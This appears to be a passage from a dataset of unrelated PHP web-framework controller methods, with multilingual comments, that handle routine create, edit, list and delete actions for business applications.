$this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Capacitaciones\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>3)));\n $breadcrumbs->addItem(\"Facilitadores\", $this->get(\"router\")->generate(\"pantalla_facilitadores\"));\n\n if($pagina == 1){\n $breadcrumbs->addItem(\"Consultar facilitador\", $this->get(\"router\")->generate(\"capacitador\")); \n $breadcrumbs->addItem(\"Datos de registro\", $this->get(\"router\")->generate(\"capacitador_show\",array('id'=>$id,'pag'=>$pagina)));\n }\n else if($pagina == 2){\n $breadcrumbs->addItem(\"Registrar facilitador\", $this->get(\"router\")->generate(\"capacitador_new\"));\n $breadcrumbs->addItem(\"Datos de registro\", $this->get(\"router\")->generate(\"capacitador_show\",array('id'=>$id,'pag'=>$pagina)));\n } \n else{\n $breadcrumbs->addItem(\"Modificar facilitador\", $this->get(\"router\")->generate(\"capacitador_modificar\")); \n }\n \n $breadcrumbs->addItem(\"Edición de datos\", \"\");\n\n return $this->render('CapacitacionBundle:Capacitador:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n 'pag' => $pagina,\n ));\n }", "public function getAction()\n {\n \t$id = $this->getRequest()->getParam('id');\n\t\t$this->_objectMapper->find($id, $this->_object);\n $this->view->question = $this->_object;\n\t\t$this->view->isMarked = $this->_objectMapper->isMarked($id);\n }", "public function showAction($idCategoria, $idRichiesta)\n {\n\n //TODO: vanno aggiunti anche i documenti (generati o creati, della stessa sostanza del Padre)\n $em = $this->getDoctrine()->getManager();\n\n\n $repository = $this->getDoctrine()\n ->getRepository('estarRdaBundle:Campo');\n\n $campi = $repository->findBy(\n array('idcategoria' => $idCategoria),\n array('ordinamentofieldset' => 'ASC', 'ordinamento' => 'ASC')\n );\n\n $entity = new FormTemplate($idCategoria, $campi);\n\n $repository = $this->getDoctrine()\n ->getRepository('estarRdaBundle:Valorizzazionecamporichiesta');\n\n $campiValorizzati = $repository->findBy(\n array('idrichiesta' => $idRichiesta)\n );\n\n $formbuilder = $this->createFormBuilder();\n $fieldsetVisitati = array();\n //TODO FG 20151016 gestione dei campi della richiesta\n $richiesta = $em->getRepository('estarRdaBundle:Richiesta')->find($idRichiesta);\n $formbuilder->add(\"titolo\", \"text\", array(\n 'label' => \"titolo\",\n 'data' => $richiesta->getTitolo(),\n 'read_only' => true\n ));\n $formbuilder->add(\"descrizione\", \"textarea\", array(\n 'label' => \"descrizione\",\n 'data' => $richiesta->getDescrizione(),\n 'read_only' => true\n ));\n foreach ($campiValorizzati as $campovalorizzato) {\n $campo = $campovalorizzato->getIdcampo();\n if ($campo->getTipo() == 'radio') {\n $fieldsetName = $campo->getFieldset();\n\n $formbuilder->add($campo->getNome() . '-' . $campo->getId(), 'text', array(\n 'label' => $fieldsetName,\n 'data' => $campo->getDescrizione(),\n 'read_only' => true\n ));\n } else {\n\n $formbuilder->add($campo->getNome() . '-' . $campo->getId(), $campo->getTipo(), array(\n 'label' => $campo->getDescrizione(),\n 'data' => $campovalorizzato->getValore(),\n 'read_only' => true\n ));\n }\n }\n $form = $formbuilder->getForm();\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find FormTemplate entity.');\n }\n\n return $this->render('estarRdaBundle:FormTemplate:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n\n ));\n }", "public function edit($id)\n {\n $general = new ModeloController();\n\n $modelo = Modelo::find(Input::get('id_modelo'));\n\n // Se obtiene el registro a modificar del modelo\n $registro = app($modelo->name_space)->find($id);\n\n $lista_campos = $general->get_campos_modelo($modelo,$registro,'edit');\n\n $tercero = Tercero::find($registro->core_tercero_id);\n $registro->nombre1 = $tercero->nombre1;\n $registro->otros_nombres = $tercero->otros_nombres;\n $registro->apellido1 = $tercero->apellido1;\n $registro->apellido2 = $tercero->apellido2;\n $registro->id_tipo_documento_id = $tercero->id_tipo_documento_id;\n $registro->numero_identificacion = $tercero->numero_identificacion;\n $registro->direccion1 = $tercero->direccion1;\n $registro->telefono1 = $tercero->telefono1;\n $registro->codigo_ciudad = $tercero->codigo_ciudad;\n \n $form_create = [\n 'url' => $modelo->url_form_create,\n 'campos' => $lista_campos\n ];\n\n $url_action = 'web/'.$id;\n if ($modelo->url_form_create != '') {\n $url_action = $modelo->url_form_create.'/'.$id.'?id='.Input::get('id').'&id_modelo='.Input::get('id_modelo');\n }\n\n $descripcion = $tercero->apellido1.\" \".$tercero->apellido2.\" \".$tercero->nombre1.\" \".$tercero->otros_nombres;\n $miga_pan = [\n ['url'=>'ventas?id='.Input::get('id'),'etiqueta'=>'Ventas'],\n ['url'=>'web?id='.Input::get('id').'&id_modelo='.Input::get('id_modelo'),'etiqueta'=> $modelo->descripcion],\n ['url'=>'NO','etiqueta'=> $descripcion.\" > Modificar\" ]\n ];\n\n $archivo_js = app($modelo->name_space)->archivo_js;\n\n return view('layouts.edit',compact('form_create','miga_pan','registro','archivo_js','url_action')); \n }", "public function createAction()\n {\n $entity = new Partido();\n $request = $this->getRequest();\n $form = $this->createForm(new PartidoType(), $entity);\n $form->bindRequest($request);\n\n if ( $form->isValid() ) {\n $entity->setResultadol(0); \n $entity->setResultadov(0);\n $em = $this->getDoctrine()->getEntityManager();\n $em->persist($entity);\n $em->flush();\n return $this->redirect($this->generateUrl('partido_show', array('id' => $entity->getId()))); \n }\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView()\n );\n }", "public function execute() {\n\t\t$userLogin = null;\n\t\t$userIsAuth = false;\n\t\t$userLogin = $this->_session->userLogin;\n\t\t$userIsAuth = $this->_session->userIsAuth;\n\t\tif(empty($userLogin) || ($userIsAuth == false)) {\n\t\t\tthrow new ControllerException('Brak dostepu');\n\t\t}\t\t\t\n\t\t\n\t\t$baseUrl = $this->_request->getBaseUrl();\n\t\t$flashNotice = $this->_session->getFlashData('notice');\n\t\t$currentPageNumber = $this->_request->get('page');\t\t\n\t\t\n\t\t//pobieranie danych z modelu\n\t\t$ingredientFieldsNames = $this->_ingredientMapper->getFieldsNames();\n\t\t//$ingredients = $this->_ingredientMapper->getAll();\n\t\t$countAll = $this->_ingredientMapper->countAll();\n\t\t$this->_paginator->setLink($baseUrl.'/admin/ingredient/list/'); \n\t\t$this->_paginator->setNumberOfRecords($countAll);\n\t\t$this->_paginator->setCurrentPageNumber($currentPageNumber);\n\t\t$this->_paginator->setRecordsPerPage(40);\t\t\n\t\t$ingredients = $this->_ingredientMapper->getAllIngredients($this->_paginator->getLimit(), $this->_paginator->getOffset());\n\t\t\t\t\n\t\t\n\t\t//przygotowanie tablicy z lista skladnikow\n\t\t$ingredientsToView = array();\n\t\tforeach($ingredients AS $ingredient) {\n\t\t\t$i = array();\n\t\t\t$i = $ingredient->toArray($ingredientFieldsNames);\n\t\t\t$ingredientsToView[] = $i;\n\t\t}\n\t\t\n\t\t//przygotowanie dodatkowych danych dla widoku\n\t\t$links = array('view'=>array($this->_i18n->translate('view'), $baseUrl.'/admin/ingredient/view/id/'), 'edit'=>array($this->_i18n->translate('edit'), $baseUrl.'/admin/ingredient/editForm/id/'), 'delete'=>array($this->_i18n->translate('delete'), $baseUrl.'/admin/ingredient/delete/id/'));\n\t\t$ingredientTableHeadersNames = array_map(array($this->_i18n, 'translate'), $ingredientFieldsNames);\n\t\t\t\t\n\t\t//dolaczenie danych do widoku\n\t\t$this->_view->assign('ingredients', $ingredientsToView);\t\n\t\t$this->_view->assign('flashNotice', $flashNotice);\n\t\t$this->_view->assign('links', $links);\n\t\t$this->_view->assign('paginator', $this->_paginator->getPaginator());\t\t\t\t\t\n\t\t$this->_view->assign('ingredientTableHeadersNames', $ingredientTableHeadersNames);\n\t\t$this->_view->assign('ingredientListTitle', $this->_i18n->translate('Ingredients list'));\n\t\t$this->_view->assign('noIngredientMessage', $this->_i18n->translate('No ingredient in data base'));\t\t\t\n\t\t\n\t}", "public function indexespAction()\n {\n $em = $this->getDoctrine()->getManager();\n $ordenLN = new OrdenLN($em);\n\n $ordenes = $ordenLN->obtenerFacturadasEspeciales();\n $estados = $ordenLN->obtenerEstadosTerminados();\n $usuarios = $em->getRepository('AppBundle:Usuario')->findBy(array(), array('nombre'=>'ASC'));\n $clientes = $em->getRepository('AppBundle:Cliente')->findBy(array(), array('razonsocial'=>'ASC'));\n $tipos = $em->getRepository('AppBundle:OrdenTipo')->findAll();\n $maquinas = $em->getRepository('AppBundle:Maquina')->findAll();\n\n $clonarForms = array();\n foreach ($ordenes as $orden)\n {\n $clonarForm = $this->createClonarForm('orden_clonar3', $orden);\n array_push($clonarForms, $clonarForm->createView());\n }\n\n return $this->render('orden/indexterm.html.twig', array(\n 'ordenes' => $ordenes,\n 'usuarios' => $usuarios,\n 'clientes' => $clientes,\n 'estados' => $estados,\n 'tipos' => $tipos,\n 'maquinas' => $maquinas,\n 'pathedit' => 'orden_editesp',\n 'clonarForms' => $clonarForms,\n 'facturadas' => false\n ));\n }", "function act_tipo_pago(){\n\t\t$u= new Tipo_pago();\n\t\t$related = $u->from_array($_POST);\n\t\t// save with the related objects\n\t\tif($u->save($related))\n\t\t{\n\t\t\techo \"<html> <script>alert(\\\"Se han actualizado los datos del Tipo de Pago.\\\"); window.location='\".base_url().\"index.php/inicio/acceso/\".$GLOBALS['ruta'].\"/menu';</script></html>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tshow_error(\"\".$u->error->string);\n\t\t}\n\t}", "public function listdAction() \n {\n $id = (int) $this->params()->fromRoute('id', 0);\n if ($id > 0)\n {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u=new Cargos($this->dbAdapter); // ---------------------------------------------------------- 5 FUNCION DENTRO DEL MODELO (C) \n $u->delRegistro($id);\n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin);\n }\n \n }", "public function newAction($idCategoria)\n {\n //TODO fg aggiungere il passaggio alla form della obbligatoriet� o meno dei campi (manca! � tutto obbligatorio)\n\n// $em = $this->getDoctrine()->getManager();\n $repository = $this->getDoctrine()\n ->getRepository('estarRdaBundle:Campo');\n\n\n $campi = $repository->findBy(\n array('idcategoria' => $idCategoria),\n array('ordinamentofieldset' => 'ASC', 'ordinamento' => 'ASC')\n );\n\n\n// $entity = new FormTemplate($idCategoria, $campi);\n\n $formbuilder = $this->createFormBuilder();\n $fieldsetVisitati = array();\n //FG 20151016 gestione dei campi della richiesta\n $formbuilder->add(\"titolo\", \"text\", array(\n 'label' => \"Titolo\",\n 'data' => \"Specificare un oggetto per la propria richiesta\"\n ));\n $formbuilder->add(\"descrizione\", \"textarea\", array(\n 'label' => \"Descrizione\",\n 'data' => \"indicare descrizione, azienda sanitaria e UOC destinataria\"\n ));\n\n foreach ($campi as $campo) {\n $obbligatorio = $campo->getObbligatorioinserzione();\n if ($campo->getTipo() == 'radio') {\n $fieldsetName = $campo->getFieldset();\n\n if (in_array($fieldsetName, $fieldsetVisitati)) {\n continue;\n }\n\n array_push($fieldsetVisitati, $fieldsetName);\n $options = array();\n foreach ($campi as $item) {\n if ($item->getTipo() == 'radio' and $item->getFieldset() == $fieldsetName)\n array_push($options, $item->getDescrizione());\n\n }\n if ($obbligatorio) {\n $formbuilder->add($campo->getNome() . '-' . $campo->getId(), 'choice', array(\n 'choices' => $options,\n 'expanded' => true,\n 'multiple' => false,\n 'label' => $fieldsetName,\n 'constraints' => new NotBlank()\n ));\n } else {\n $formbuilder->add($campo->getNome() . '-' . $campo->getId(), 'choice', array(\n 'choices' => $options,\n 'expanded' => true,\n 'multiple' => false,\n 'label' => $fieldsetName\n ));\n }\n\n } else {\n if ($obbligatorio) {\n $formbuilder->add($campo->getNome() . '-' . $campo->getId(), $campo->getTipo(), array(\n 'label' => $campo->getDescrizione(),\n 'constraints' => new NotNull()\n ));\n } else {\n $formbuilder->add($campo->getNome() . '-' . $campo->getId(), $campo->getTipo(), array(\n 'label' => $campo->getDescrizione(),\n ));\n }\n }\n }\n\n $formbuilder->setAction($this->generateUrl('formtemplate_create', array('idCategoria' => $idCategoria)));\n $form = $formbuilder->getForm();\n\n $form->add('submit', 'submit', array('label' => 'Crea Nuova Richiesta'));\n return $this->render('estarRdaBundle:FormTemplate:new.html.twig', array(\n// 'entity' => $entity,\n 'form' => $form->createView()\n\n ));\n }", "public function createAction(){\n\n //Mapeia a entradas de dados\n $inputMap = array('descricao', 'quilometragem');\n $data = array();\n $erros = array();\n $value = null;\n\n //Procura os dados informados a partir do mapa de entrada\n foreach ($inputMap as $key) {\n $value = Application::getParam($key);\n\n if($value === null) $erros[] = $key;\n else $data[$key] = $value;\n }\n\n //Retorna um erro para caso um campo tenha faltado\n if(!empty($erros)){\n return json_encode(array(\n 'success' => false,\n 'message' => 'Alguns campos estão vazios ou são inválidos.',\n 'extra' => $erros,\n 'code' => 0\n ));\n }\n\n //Instancia e inicializa uma model\n $model = new Veiculo();\n $model->setDescricao($data['descricao']);\n $model->setQuilometragem($data['quilometragem']);\n\n try{\n //Salva os dados no banco de dados\n $model->save();\n }\n catch(\\Exception $e){\n\n //Caso algo dê errado, retorna uma menssagem de erro\n return json_encode(array(\n 'success' => false,\n 'message' => $e->getMessage(),\n 'code' => $e->getCode()\n ));\n }\n\n //Retorna os dados que foram pessistidos no banco de dados\n return json_encode(array(\n 'success' => true,\n 'data' => $model->toArray()\n ));\n }", "public function editUrl() {}", "public function horarioIndexAction()\n {\n return $this->forward('CosacoGesenBundle:Horario:show', array('id_dep'=>null, 'fecha'=>null)); \n }", "public function listagemAction()\n\t{\n\t\n\t}", "public function newAction()\n {\n $entity = new Incapacidad();\n \n $em = $this->getDoctrine()->getManager();\n $request = $this->getRequest();\n $cadena= $request->get('id');\n $idEntidad = substr($cadena, 1);\n\n if($idEntidad!=0){\n $paciente = $em->getRepository('DGPlusbelleBundle:Paciente')->find($idEntidad);\n $entity->setPaciente($paciente);\n }\n else{\n $paciente = $em->getRepository('DGPlusbelleBundle:Paciente')->findAll();\n }\n \n \n \n $form = $this->createCreateForm($entity);\n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function listdAction() \n {\n $id = (int) $this->params()->fromRoute('id', 0);\n if ($id > 0)\n {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u=new tipdocontrol($this->dbAdapter); // ---------------------------------------------------------- 5 FUNCION DENTRO DEL MODELO (C) \n $u->delRegistro($id);\n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin);\n } \n }", "public function indexAction()\n {\n $request = $this->getRequest();\n $formFactory = $this->get('form.factory');\n $validator = $this->get('validator');\n $pager = new Pager($formFactory, $validator);\n\n //pager setting\n $pager\n ->addColumn('id', array(\n 'label' => 'id',\n 'sort_enable' => true,\n 'db_column_name' => 'id',\n ))\n ->addColumn('email', array(\n 'label' => 'email',\n 'sort_enable' => true,\n 'db_column_name' => 'email',\n ))\n ;\n\n $form = $pager->getFormBuilder()\n ->getForm();\n $form->bind($request);\n\n //pager\n $formView = $form->createView();\n $pager->setAllFormView($formView);\n $pager->setPagerFormView($formView);\n $pager->setLinkRouteName($request->get('_route'));\n\n if(!$form->isValid())\n {\n return $this->redirect($this->generateUrl($request->get('_route')));\n }\n\n //db\n $queryBuilder = $this->getDoctrine()\n ->getRepository('TestTestBundle:SystemUser')\n ->createQueryBuilder('u');\n\n //全件数取得\n $queryBuilderCount = clone $queryBuilder;\n $queryBuilderCount = $queryBuilderCount->select('count(u.id)');\n $queryCount = $queryBuilderCount->getQuery();\n $allCount = $queryCount->getSingleScalarResult();\n $pager->setAllCount($allCount);\n\n //ソート\n $pageSortName = $pager->getSortName();\n $pageSortType = $pager->getSortType();\n if($pageSortName != null && $pageSortType != null)\n {\n switch($pageSortName)\n {\n default:\n $sortColumn = $pager->getColumn($pageSortName);\n $queryBuilder = $queryBuilder->orderBy('u.'.$sortColumn['db_column_name'], $pageSortType);\n break;\n }\n }\n\n //ページング\n $pageSize = $pager->getPageSize();\n $pageNo = $pager->getPageNo();\n if($pager->getMaxPageNum() < $pageNo){\n return $this->redirect($this->generateUrl($request->get('_route')));\n }\n $queryBuilder = $queryBuilder->setFirstResult($pageSize*($pageNo-1))\n ->setMaxResults($pageSize);\n\n //クエリー実行\n $entities = $queryBuilder->getQuery()->getResult();\n\n return array(\n 'form' => $formView,\n 'pager' => $pager->createView(),\n 'entities' => $entities,\n );\n }", "public function listidAction() \n {\n $id = (int) $this->params()->fromRoute('id', 0);\n if ($id > 0)\n {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d=new AlbumTable($this->dbAdapter);\n\n $d->modGeneral(\"delete from a_empleados_rete_d where idEret=\".$id); \n $d->modGeneral(\"delete from a_empleados_rete where id=\".$id); \n //$u=new Retefuente($this->dbAdapter); // ---------------------------------------------------------- 5 FUNCION DENTRO DEL MODELO (C) \n //$u->delRegistro($id);\n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin);\n } \n }", "public function indexAction()\n {\n $source = new Entity('AdminBundle:RefrendaAct','grupo_refrenda');\n \n $grid = $this->get('grid');\n \n $grid->setId('grid_refrenda');\n $grid->setSource($source); \n\n //Columnas para filtrar\n $NombrePlazas = new TextColumn(array('id' => 'plazas','source' => true,'field'=>'idplaza.nombreplaza','title' => 'Plazas','operatorsVisible'=>false));\n $grid->addColumn($NombrePlazas,2); \n \n // Mostrar\n $rowAction1 = new RowAction('Consultar', 'refrendaact_show');\n $rowAction1->manipulateRender(\n function ($action, $row)\n {\n $action->setRouteParameters(array('id','tipogrid'=> 1));\n return $action;\n }\n );\n $grid->addRowAction($rowAction1);\n\n $grid->setDefaultOrder('partida', 'asc');\n $grid->setLimits(array(10 => '10', 20 => '20', 30 => '30'));\n \n // Incluimos camino de migas\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Expediente\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>1)));\n $breadcrumbs->addItem(\"Empleado activo\", $this->get(\"router\")->generate(\"pantalla_empleadoactivo\"));\n $breadcrumbs->addItem(\"Consultar puestos\", \"\");\n \n return $grid->getGridResponse('ExpedienteBundle:RefrendaAct:index.html.twig');\n }", "public function addAction(Request $request){\n //création de l'objet pavion\n $pavion = new Pavion();\n \n //si nous avons une requête ajax, elle sera traité ici\n if($request->isXmlHttpRequest()){\n $requete = $request->request->get('requete');\n if($requete == \"affichage\"){\n //création du formulaire d'ajout d'un pavion\n $form = $this->get('form.factory')->create(new PavionType(),$pavion);\n return $this->render(\"SMBLoyerBundle:Pavion:add.html.twig\",array(\n 'form' => $form->createView()\n ));\n }\n else{\n if($requete == \"ajout\"){\n $nom_pavion = $request->request->get('nom_pavion');\n $pavion->setLibelle($nom_pavion);\n $em = $this->getDoctrine()\n ->getManager();\n //vérifions si ce pavion n'existe pas dans la base de données \n if(!$pavion->existe($this)){\n $existe = false;\n $em->persist($pavion);\n $em->flush(); \n \n }\n else{//ce pavion est dans la base de données\n //vérifions si c'est supprimé ou pas\n if($pavion->estSupprime($this)){\n //on le restaure\n $pavion->restaurer($this);\n $existe = false;\n }\n else{//le pavion existe et n'a pas été supprimé\n $existe = true; \n }\n }\n //on envoie la liste des pavions\n $listPavions = Pavion::listPavions($this);\n return $this->render(\"SMBLoyerBundle:Pavion:index.html.twig\",array(\n 'listPavions' => $listPavions,\n 'erreur' => $existe\n )); \n }\n }\n }\n else{\n throw new Exception(\"Pas de Requete envoyée!\",1);\n }\n\t}", "public function addAction()\n {\n \n $post = new \\Thami\\Bundle\\ExerciseBundle\\Entity\\Posts();\n \n $post->setTitle('title3');\n $post->setBody('bla bla added the body');\n $post->setCreated(new \\DateTime);\n $post->setUpdated(new \\DateTime);\n \n // Pour l'auteur\n // 1. On utilise doctrine;\n $doctrine = $this->getDoctrine();\n\n // 2. On récupére le dêpot des utilisateurs\n $entityRepository = $doctrine->getRepository('ThamiExerciseBundle:Users');\n\n // 3. On récupére l'utilisateur avec l'id 1\n $user = $entityRepository->find(1);\n\n // 4. On renseigne la propriété concernant l'auteur\n $post->setUser($user);\n\n // Enfin, on récupére le gestionnaire d'entités de doctrine\n $entityManager = $doctrine->getManager();\n // Voir : http://www.doctrine-project.org/api/orm/2.5/class-Doctrine.ORM.EntityManager.html\n\n // On ajouter cet article à la liste des entités à créer/modifier\n $entityManager->persist($post);\n\n\n // On \"demande\" à doctrine de repércuter sur la base de données\n $entityManager->flush();\n\n\n //return $this->render('SamisoftExercice1Bundle:Default:add.html.twig');\n \n return $this->render('ThamiExerciseBundle:Default:add.html.twig');\n }", "public function newAction() {\n\n if ($this->values['permisos']['permisosModulo']['IN']) {\n switch ($this->request[\"METHOD\"]) {\n\n case 'POST': //CREAR NUEVO REGISTRO\n //COGER EL LINK A LA ENTIDAD PADRE\n if ($this->values['linkBy']['id'] != '') {\n $this->values['linkBy']['value'] = $this->request[$this->entity][$this->values['linkBy']['id']];\n }\n\n $datos = new $this->entity();\n $datos->bind($this->request[$this->entity]);\n\n if ($datos->valida($this->form->getRules())) {\n $datos->create();\n $this->values['alertas'] = $datos->getAlertas();\n\n //Recargo el objeto para refrescar las propiedas que\n //hayan podido ser objeto de algun calculo durante el proceso\n //de guardado.\n $datos = new $this->entity($datos->getPrimaryKeyValue());\n $this->values['datos'] = $datos;\n } else {\n $this->values['datos'] = $datos;\n $this->values['errores'] = $datos->getErrores();\n }\n unset($datos);\n return $this->listAction($this->values['linkBy']['value']);\n break;\n }\n } else {\n return array('template' => '_global/forbiden.html.twig');\n }\n }", "public function editarAction () {\n // Título da tela (action)\n $this->view->telaTitle = 'Editar Exercício Orçamentário';\n\n // Instancia a regra de negócio\n $negocio = new Orcamento_Business_Negocio_Exercicio();\n\n // Fase\n $fase = new Orcamento_Model_DbTable_FaseAnoExercicio();\n\n $formulario = new $this->_formulario ();\n $this->view->formulario = $formulario;\n\n // Verifica o tipo de requisição Get / Post\n if ($this->getRequest()->isGet()) {\n // Busca dados para o preenchimento do formulário\n $cod = $this->_getParam('cod');\n\n if ($cod) {\n // Busca registro específico\n $registro = $negocio->retornaRegistro($cod);\n\n if ($registro) {\n // TODO Remover a linha a seguir\n // $contrato = $this->_CeoTbAnoExercicio->retornaRegistro($cod);\n\n $camposChave = $negocio->chavePrimaria();\n\n foreach ($camposChave as $chave) {\n $formulario->$chave->setAttrib('readonly', true);\n }\n $formulario->populate($registro);\n } else {\n $this->registroNaoEncontrado();\n }\n\n $this->view->fase = $dadosfase = $fase->fetchRow(\"FANE_NR_ANO = $cod\");\n } else {\n $this->codigoNaoInformado();\n }\n } else {\n // Busca dados do formulário\n $dados = $this->getRequest()->getPost();\n $chavePrimaria = $this->_getParam('cod');\n\n if ($formulario->isValid($dados)) {\n\n $dados = $formulario->getValues();\n\n $resultado = $negocio->editarExercicioFase($dados);\n\n if ($dados['FANE_ID_FASE_EXERCICIO'] == Trf1_Orcamento_Definicoes::FASE_EXERCICIO_EM_EXECUCAO) {\n\n $negocio->copiaValores($dados);\n }\n\n if( !$resultado [ 'sucesso' ] ) {\n // inclui na tabela de log do orçamento\n $this->_logdados->incluirLog( $dados[\"ANOE_AA_ANO\"] );\n // Mensagem sucesso\n $this->_helper->flashMessenger ( array ( message => Orcamento_Business_Dados::MSG_ALTERAR_ERRO . '<br />' . $resultado [ 'msgErro' ] ) );\n }\n\n // Salvo com sucesso\n $this->_helper->flashMessenger(array(message => Orcamento_Business_Dados::MSG_SUCESSO_EXERCICIO, 'status' => 'success'));\n\n // Limpa o cache para listagem na index\n $negocio->excluiCaches();\n\n // Redireciona para o modulo\n $this->voltarIndexAction();\n } else {\n // Reapresenta os dados no formulário para correção do usuário\n $formulario->populate($dados);\n }\n }\n }", "public function actionSeguir(){\r\n $me = new MetodosExtras();\r\n \r\n $ss = new Sessao();\r\n $sm = new SeguirModel();\r\n $sm->setId($ss->devSessao('id'));\r\n $sm->setIdSeguir($_GET['usu']);\r\n \r\n $sd = new SeguirDAO();\r\n if($sd->insereSeguir($sm)):\r\n if($_GET['tp'] == 1):\r\n $me->redireciona('Artista/Perfil&usu='.$_GET['usu'].'&tp='.$_GET['tp'].'&op=um&en=sim');\r\n else:\r\n $me->redireciona('Companhia/Perfil&usu='.$_GET['usu'].'&tp='.$_GET['tp'].'&op=um&en=sim');\r\n endif;\r\n else:\r\n if($_GET['tp'] == 1):\r\n $me->redireciona('Artista/Perfil&usu='.$_GET['usu'].'&tp='.$_GET['tp'].'&op=dois');\r\n else:\r\n $me->redireciona('Companhia/Perfil&usu='.$_GET['usu'].'&tp='.$_GET['tp'].'&op=dois');\r\n endif;\r\n endif;\r\n }", "public function editarCarreraController(){\n $datosController = $_GET[\"id\"];\n //Enviamos al modelo el id para hacer la consulta y obtener sus datos\n $respuesta = Datos::editarCarreraModel($datosController, \"carreras\");\n //Recibimos respuesta del modelo e IMPRIMIMOS UNA FORM PARA EDITAR\n echo'<input type=\"hidden\" value=\"'.$respuesta[\"id\"].'\"\n name=\"idEditar\">\n <input type=\"text\" value =\"'.$respuesta[\"nombre\"].'\"\n name=\"carreraEditar\" required>\n <input type=\"submit\" value= \"Actualizar\">';\n }", "public function EditNodeAction() {\n\n if ($_SESSION['usuarioPortal']['IdPerfil'] == '1') {\n\n switch ($this->request['METHOD']) {\n\n case 'GET':\n\n $tipo = $this->request['3'];\n $ambito = $this->request['2'];\n $nombre = $this->request['4'];\n $columna = $this->request['5'];\n $titulo = \"Variables {$this->request['3']} de '{$columna}'\";\n\n $variables = new Variables($ambito, $tipo, $nombre);\n $variablesColumna = $variables->getColumn($columna);\n unset($variables);\n\n $archivoConfig = new Form($nombre);\n $columnasConfig = $archivoConfig->getNode('columns');\n unset($archivoConfig);\n $datos = $this->ponAtributos($variablesColumna, $columnasConfig[$columna]);\n\n $this->values['titulo'] = $titulo;\n $this->values['tipo'] = $tipo;\n $this->values['ambito'] = $ambito;\n $this->values['nombre'] = $nombre;\n $this->values['columna'] = $columna;\n $this->values['d'] = $datos;\n\n $template = $this->entity . '/formPlantillaVariables.html.twig';\n break;\n\n case 'POST':\n\n $tipo = $this->request['tipo'];\n $ambito = $this->request['ambito'];\n $nombre = $this->request['nombre'];\n $columna = $this->request['columna'];\n $titulo = \"Variables {$tipo} de '{$columna}'\";\n\n $variables = new Variables($ambito, $tipo, $nombre);\n $variables->setColumn($columna, $this->request['d']);\n $variables->save();\n\n $this->values['titulo'] = $titulo;\n $this->values['tipo'] = $tipo;\n $this->values['ambito'] = $ambito;\n $this->values['nombre'] = $nombre;\n $this->values['columna'] = $columna;\n $this->values['errores'] = $variables->getErrores();\n\n $archivoConfig = new Form($nombre);\n $columnasConfig = $archivoConfig->getNode('columns');\n unset($archivoConfig);\n $datos = $this->ponAtributos($variables->getColumn($columna), $columnasConfig[$columna]);\n $this->values['d'] = $datos;\n unset($variables);\n\n $template = $this->entity . '/formPlantillaVariables.html.twig';\n break;\n }\n } else\n $template = '_global/forbiden.html.twig';\n\n return array('template' => $template, 'values' => $this->values);\n }", "public function adjuntarAction()\n {\n $idList = $this->_getParam('id');\n \n /* Traigo el formulario*/\n $form = $this->_form->getFrmAdjunta($idList);\n $form->setAction($this->view->baseUrlController . '/adjuntar/id/'. $idList .'/');\n\n if ($this->_request->isPost()) { /* Si se ha submiteado el formulario, se procede a guardar los datos */\n \n /* Desactivo el auto renderizado */\n $this->disableAutoRender();\n\n /* Recibo la lista de Ids separado por comas */\n //$idList = $this->_getParam('id');\n\n if ($idList) {\n /* Convierto la lista a un Array */\n $idArray = explode (\",\", $idList);\n \n /* Recibo datos del formulario */\n $formData = $this->_request->getPost(); \n\n /* Lleno el formulario con los datos recibidos por _POST */\n $form->populate($formData);\n \n /* Creo el objeto Movimiento */\n $objMovimiento = new Gidoc_Model_MovimientoMapper();\n \n /* Recorro el array eliminando cada Id */\n foreach ($idArray as $id) {\n\n /* Como recibo el Id del Movimiento, entonces obtengo el id de la tabla Documento para poder editarlo */\n $movimiento = $objMovimiento->getById($id);\n $documento_id = $movimiento->documento_id;\n\n /* Creo mi array */\n $data = array('documento_id' => $documento_id,\n 'dependencia_id' => $this->_usuario->dependencia_id,\n 'usuario_id' => $this->_usuario->id,\n 'tipomovimiento_id' => 6,\n 'acciones' => $form->acciones->getValue(),\n 'documento_idadjuntado' => $form->documento_idadjuntado->getValue(),\n 'movimientoprocesado_id' => $id);\n \n $movimiento = new Gidoc_Model_MovimientoMapper();\n try {\n $movimiento->save($data);\n } catch(Exception $ex) {\n $message = $ex->getMessage();\n echo 'error|'.$message;\n }\n }\n }\n\n \n } else { /* Se llama al formulario */\n \n $this->view->form = $form;\n $this->_forward('myeditar','index','default');\n\n }\n }", "public function vistaFormularioUsuarioAction(){\n $em = $this->getDoctrine()->getManager();\n $empresas = $em->getRepository('TheClickCmsAdminBundle:Empresa')->findAll();\n\n\t return $this->render('TheClickCmsAdminBundle:Default:agregarUsuarios.html.twig' , array('empresa' => $empresas));\n\t}", "public function postEditResources()\n {\n $id = $this->_params['id'];\n\n $errors = validateEditResource($id);\n\n if(!($errors === true)) {\n $database = new Database();\n\n $resource = $database->getResourceById($id);\n /*construct($resourceID = \"0\", $resourceName = \"Resource\", $description = \"Info\",\n $contactName =\"\",$contactEmail = \"\",$contactPhone = \"\",$link = \"\", $active = \"1\" )*/\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], 